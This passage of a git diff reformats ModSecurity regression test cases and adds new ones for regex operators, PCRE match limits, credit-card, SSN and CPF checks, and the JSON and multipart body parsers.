"localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "27", + "Content-Type": "application/x-www-form-urlencoded" + }, + "uri": "/?patt=%28", + "method": "POST", + "body": [ + "subject=wwww" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Error with regular expression: \"\\(\"", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS:subject \"@rx %{ARGS:patt}\" \"id:4001,phase:2,pass\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Operator :: @rx with valid macro-expanded pattern", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "27", + "Content-Type": "application/x-www-form-urlencoded" + }, + "uri": "/?patt=%28a%7cb%29", + "method": "POST", + "body": [ + "subject=a" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS:subject \"@rx %{ARGS:patt}\" \"id:4001,phase:2,deny\"" + ] } ] diff --git a/test/test-cases/regression/operator-rxGlobal.json b/test/test-cases/regression/operator-rxGlobal.json index d49f31d6a3..7e061a6dfc 100644 --- a/test/test-cases/regression/operator-rxGlobal.json +++ b/test/test-cases/regression/operator-rxGlobal.json @@ -1,46 +1,277 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Operator :: @rxGlobal", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "enabled": 1, + "version_min": 300000, + "title": "Testing Operator :: @rxGlobal", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Content-Length": "27", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=value1¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Executing operator \"RxGlobal" + "expected": { + "debug_log": "Executing operator \"RxGlobal", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS \"@rxGlobal (value1)\" \"id:1,phase:2,pass,t:trim\"" ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Operator :: @rxGlobal with PCRE match limits exceeded", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "27", + "Content-Type": "application/x-www-form-urlencoded" + }, + "uri": "/?probe=wwwwwwwwwwwwwwwwwwwwwowwwwwwwwwww", + "method": "GET", + "body": [] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Set TX.MSC_PCRE_LIMITS_EXCEEDED to 1", + "http_code": 409 + }, + "rules": [ + "SecRuleEngine On", + "SecPcreMatchLimit 2", + "SecRule ARGS:probe \"@rxGlobal (w+)+$\" \"id:4001,phase:1,pass\"", + "SecRule TX:MSC_PCRE_LIMITS_EXCEEDED \"@streq 1\" \"id:4002,phase:1,deny,status:409\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Operator :: @rxGlobal inicialization with PCRE ERROR", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "27", + "Content-Type": "application/x-www-form-urlencoded" + }, + "uri": "/?probe=wwwwwwwwwwwwwwwwwwwwwowwwwwwwwwww", + "method": "GET", + "body": [] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "parser_error": "Rules error. File: operator-rxGlobal.json. Line: 3. Column: 18. Invalid regular expression: \\(" + }, + "rules": [ + "SecRuleEngine On", + "SecPcreMatchLimit 2", + "SecRule ARGS:probe \"@rxGlobal (\" \"id:4001,phase:1,pass\"", + "SecRule MSC_PCRE_ERROR \"@streq 1\" \"id:4002,phase:1,deny,status:409\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Operator :: @rxGlobal with invalid macro-expanded pattern", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "27", + "Content-Type": "application/x-www-form-urlencoded" + }, + "uri": "/?patt=%28", + "method": "POST", + "body": [ + "subject=wwww" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Error with regular expression: \"\\(\"", + "http_code": 409 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS:subject \"@rxGlobal %{ARGS:patt}\" \"id:4001,phase:2,pass\"", + "SecRule MSC_PCRE_ERROR \"@streq 1\" \"id:4002,phase:2,deny,status:409\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Operator :: @rxGlobal with invalid macro-expanded pattern - no error", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "27", + "Content-Type": "application/x-www-form-urlencoded" + }, + "uri": "/?patt=%28", + "method": "POST", + "body": [ + "subject=wwww" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Error with regular expression: \"\\(\"", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS:subject \"@rxGlobal %{ARGS:patt}\" \"id:4001,phase:2,pass\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Operator :: @rxGlobal with valid macro-expanded pattern", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "27", + "Content-Type": "application/x-www-form-urlencoded" + }, + "uri": "/?patt=%28a%7cb%29", + "method": "POST", + "body": [ + "subject=a" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS:subject \"@rxGlobal %{ARGS:patt}\" \"id:4001,phase:2,deny\"" + ] } ] diff --git a/test/test-cases/regression/operator-validate-byte-range.json b/test/test-cases/regression/operator-validate-byte-range.json index ddb87b2edd..f991a25aa4 100644 --- a/test/test-cases/regression/operator-validate-byte-range.json +++ b/test/test-cases/regression/operator-validate-byte-range.json @@ -1,38 +1,43 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Operator :: @validateByteRange with bytes > 127", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Operator :: @validateByteRange with bytes > 127", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "27", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/%D0%A2%D0%B0%D1%80%D0%B0%D0%B1%D0%B0%D0%BD", - "method":"GET", - "body": [ ] + "uri": "/%D0%A2%D0%B0%D1%80%D0%B0%D0%B1%D0%B0%D0%BD", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{}, - "body":[ + "response": { + "headers": { + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Rule returned 0." + "expected": { + "debug_log": "Rule returned 0.", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_URI \"@validateByteRange 37-102, 127-255\" \"id:1,phase:2,pass,t:trim\"" ] diff --git a/test/test-cases/regression/operator-verifycc.json b/test/test-cases/regression/operator-verifycc.json index c7e5fafb39..585441c408 100644 --- a/test/test-cases/regression/operator-verifycc.json +++ b/test/test-cases/regression/operator-verifycc.json @@ -1,44 +1,46 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Operator :: @verifycc", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Operator :: @verifycc", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "27", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "37", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=5484605089158216¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Added VerifyCC match TX.0: 5484605089158216" + "expected": { + "debug_log": "Added VerifyCC match TX.0: 5484605089158216", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS \"@verifycc \\d{13,16}\" \"id:1,phase:2,capture,pass,t:trim\"" ] diff --git a/test/test-cases/regression/operator-verifycpf.json b/test/test-cases/regression/operator-verifycpf.json index 669f3eca43..f5bfa8cebd 100644 --- a/test/test-cases/regression/operator-verifycpf.json +++ b/test/test-cases/regression/operator-verifycpf.json @@ -1,44 +1,46 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Operator :: @verifycpf (1/2)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Operator :: @verifycpf (1/2)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "27", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "35", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=010.817.514-60¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Added VerifyCPF match TX.0: 010.817.514-60" + "expected": { + "debug_log": "Added VerifyCPF match TX.0: 010.817.514-60", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS \"@verifycpf ^([0-9]{3}\\.){2}[0-9]{3}-[0-9]{2}$\" \"id:1,phase:2,capture,pass,t:trim\"" ] diff --git a/test/test-cases/regression/operator-verifyssn.json b/test/test-cases/regression/operator-verifyssn.json index c01b9c6df5..69c6054a9c 100644 --- a/test/test-cases/regression/operator-verifyssn.json +++ b/test/test-cases/regression/operator-verifyssn.json @@ -1,44 +1,46 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Operator :: @verifycpf (1/2)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Operator :: @verifycpf (1/2)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "27", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "32", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=224-88-2046¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Added VerifySSN match TX.0: 224-88-2046" + "expected": { + "debug_log": "Added VerifySSN match TX.0: 224-88-2046", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS \"@verifyssn \\d{3}-?\\d{2}-?\\d{4}\" \"id:1,phase:2,capture,pass,t:trim\"" ] diff --git a/test/test-cases/regression/operator-verifysvnr.json b/test/test-cases/regression/operator-verifysvnr.json index a975d4bcb7..8f359594d3 100644 --- a/test/test-cases/regression/operator-verifysvnr.json +++ b/test/test-cases/regression/operator-verifysvnr.json @@ -1,44 +1,46 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Operator :: @verifysvnr (1/1)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Operator :: @verifysvnr (1/1)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "32", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "34", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=1237%20010180¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Added VerifySVNR match TX.0: 1237 010180" + "expected": { + "debug_log": "Added VerifySVNR match TX.0: 1237 010180", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS \"@verifysvnr \\d{4} ?\\d{6}\" \"id:1,phase:2,capture,pass,t:trim\"" ] diff --git a/test/test-cases/regression/request-body-parser-json.json b/test/test-cases/regression/request-body-parser-json.json index b7a7ab6f38..f80a64d37b 100644 --- a/test/test-cases/regression/request-body-parser-json.json +++ b/test/test-cases/regression/request-body-parser-json.json @@ -1,25 +1,27 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing JSON request body parser 1/2", - "expected":{ - "debug_log": "Target value: \"bar\" \\(Variable: ARGS:json.foo\\)" - }, - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "enabled": 1, + "version_min": 300000, + "title": "Testing JSON request body parser 1/2", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Content-Type": "application/json" + "Content-Type": "application/json", + "Content-Length": "39" }, - "uri":"/?key=value&key=other_value", - "method":"POST", + "uri": "/?key=value&key=other_value", + "method": "POST", "body": [ "{", " \"foo\":\"bar\",", @@ -27,38 +29,48 @@ "}" ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "Target value: \"bar\" \\(Variable: ARGS:json.foo\\)", + "http_code": 200 }, - "rules":[ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecRule REQUEST_HEADERS:Content-Type \"application/json\" \"id:'200001',phase:1,t:none,t:lowercase,pass,nolog,ctl:requestBodyProcessor=JSON\"", - "SecRule ARGS:json.foo \"bar\" \"id:'200441',phase:3,log\"" + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecRule REQUEST_HEADERS:Content-Type \"application/json\" \"id:'200001',phase:1,t:none,t:lowercase,pass,nolog,ctl:requestBodyProcessor=JSON\"", + "SecRule ARGS:json.foo \"bar\" \"id:'200441',phase:3,log\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing JSON request body parser 2/2", - "expected":{ - "debug_log": "Target value: \"bar\" \\(Variable: ARGS:json.first_level.first_key\\)" - }, - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "enabled": 1, + "version_min": 300000, + "title": "Testing JSON request body parser 2/2", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Content-Type": "application/json" + "Content-Type": "application/json", + "Content-Length": "68" }, - "uri":"/?key=value&key=other_value", - "method":"POST", + "uri": "/?key=value&key=other_value", + "method": "POST", "body": [ "{", "\"first_level\":", @@ -69,108 +81,138 @@ "}" ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "Target value: \"bar\" \\(Variable: ARGS:json.first_level.first_key\\)", + "http_code": 200 }, - "rules":[ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecRule REQUEST_HEADERS:Content-Type \"application/json\" \"id:'200001',phase:1,t:none,t:lowercase,pass,nolog,ctl:requestBodyProcessor=JSON\"", - "SecRule ARGS \"bar\" \"id:'200441',phase:3,log\"" + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecRule REQUEST_HEADERS:Content-Type \"application/json\" \"id:'200001',phase:1,t:none,t:lowercase,pass,nolog,ctl:requestBodyProcessor=JSON\"", + "SecRule ARGS \"bar\" \"id:'200441',phase:3,log\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing JSON request body parser - issue #1822 (1/2)", - "expected":{ - "debug_log": "Target value: \"0\" .Variable: REQBODY_ERROR." - }, - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "enabled": 1, + "version_min": 300000, + "title": "Testing JSON request body parser - issue #1822 (1/2)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Content-Type": "application/json" + "Content-Type": "application/json", + "Content-Length": "0" + }, + "uri": "/?key=value&key=other_value", + "method": "POST", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"POST", "body": [ + "" ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "expected": { + "debug_log": "Target value: \"0\" .Variable: REQBODY_ERROR.", + "http_code": 200 }, - "rules":[ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecRule REQUEST_HEADERS:Content-Type \"application/json\" \"id:'200001',phase:1,t:none,t:lowercase,pass,nolog,ctl:requestBodyProcessor=JSON\"", - "SecRule REQBODY_ERROR \"0\" \"id:'200441',phase:3,log\"" + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecRule REQUEST_HEADERS:Content-Type \"application/json\" \"id:'200001',phase:1,t:none,t:lowercase,pass,nolog,ctl:requestBodyProcessor=JSON\"", + "SecRule REQBODY_ERROR \"0\" \"id:'200441',phase:3,log\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing JSON request body parser - issue #1822 (2/2)", - "expected":{ - "debug_log": "Target value: \"1\" .Variable: REQBODY_ERROR." - }, - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "enabled": 1, + "version_min": 300000, + "title": "Testing JSON request body parser - issue #1822 (2/2)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Content-Type": "application/json" + "Content-Type": "application/json", + "Content-Length": "1" }, - "uri":"/?key=value&key=other_value", - "method":"POST", + "uri": "/?key=value&key=other_value", + "method": "POST", "body": [ "a" ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "Target value: \"1\" .Variable: REQBODY_ERROR.", + "http_code": 200 }, - "rules":[ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecRule REQUEST_HEADERS:Content-Type \"application/json\" \"id:'200001',phase:1,t:none,t:lowercase,pass,nolog,ctl:requestBodyProcessor=JSON\"", - "SecRule REQBODY_ERROR \"0\" \"id:'200441',phase:3,log\"" + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecRule REQUEST_HEADERS:Content-Type \"application/json\" \"id:'200001',phase:1,t:none,t:lowercase,pass,nolog,ctl:requestBodyProcessor=JSON\"", + "SecRule REQBODY_ERROR \"0\" \"id:'200441',phase:3,log\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing JSON request body parser - depth not over limit", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Content-Type":"application/json" + "enabled": 1, + "version_min": 300000, + "title": "Testing JSON request body parser - depth not over limit", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Content-Type": "application/json", + "Content-Length": "70" }, - "uri":"/?foo=bar", - "method":"POST", + "uri": "/?foo=bar", + "method": "POST", "body": [ "{", " \"key1\":", @@ -185,11 +227,19 @@ "}}}}}" ] }, - "expected":{ + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { "debug_log": "json.key1.key2.key3.key4.key5", - "http_code":200 + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRequestBodyJsonDepthLimit 5", "SecRule REQUEST_HEADERS:Content-Type \"application/json\" \"id:'200001',phase:1,t:none,pass,nolog,ctl:requestBodyProcessor=JSON\"", @@ -197,25 +247,26 @@ ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing JSON request body parser - depth over limit", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Content-Type":"application/json" + "enabled": 1, + "version_min": 300000, + "title": "Testing JSON request body parser - depth over limit", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Content-Type": "application/json", + "Content-Length": "70" }, - "uri":"/?foo=bar", - "method":"POST", + "uri": "/?foo=bar", + "method": "POST", "body": [ "{", " \"key1\":", @@ -230,11 +281,19 @@ "}}}}}" ] }, - "expected":{ + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { "debug_log": "Failed to parse request body", - "http_code":403 + "http_code": 403 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRequestBodyJsonDepthLimit 4", "SecRule REQUEST_HEADERS:Content-Type \"application/json\" \"id:'200001',phase:1,t:none,pass,nolog,ctl:requestBodyProcessor=JSON\"", diff --git a/test/test-cases/regression/request-body-parser-multipart-crlf.json b/test/test-cases/regression/request-body-parser-multipart-crlf.json index 8d49c79606..1a51899bb0 100644 --- a/test/test-cases/regression/request-body-parser-multipart-crlf.json +++ b/test/test-cases/regression/request-body-parser-multipart-crlf.json @@ -1,67 +1,120 @@ [ - { - "enabled":1, - "version_min":300000, - "title":"multipart parser (final CRLF)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "multipart parser (final boundary CRLF, other boundary LF)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=---------------------------69343412719991675451336310646", - "Expect":"100-continue" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "304", + "Content-Type": "multipart/form-data; boundary=---------------------------69343412719991675451336310646", + "Expect": "100-continue" }, - "uri":"/", - "method":"POST", - "body":[ - "-----------------------------69343412719991675451336310646", - "Content-Disposition: form-data; name=\"a\"\r", - "\r", - "1\r", - "1.1\r", - "1.2\r", - "1.3\r", - "-----------------------------69343412719991675451336310646", - "Content-Disposition: form-data; name=\"b\"\r", - "\r", - "2\r", - "2.1\r", - "2.2\r", - "2.3\r", - "-----------------------------69343412719991675451336310646--" + "uri": "/", + "method": "POST", + "body": [ + "-----------------------------69343412719991675451336310646\n", + "Content-Disposition: form-data; name=\"a\"\r\n", + "\r\n", + "1\r\n", + "1.1\r\n", + "1.2\r\n", + "1.3\r\n", + "-----------------------------69343412719991675451336310646\n", + "Content-Disposition: form-data; name=\"b\"\r\n", + "\r\n", + "2\r\n", + "2.1\r\n", + "2.2\r\n", + "2.3\r\n", + "-----------------------------69343412719991675451336310646--\r\n" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": 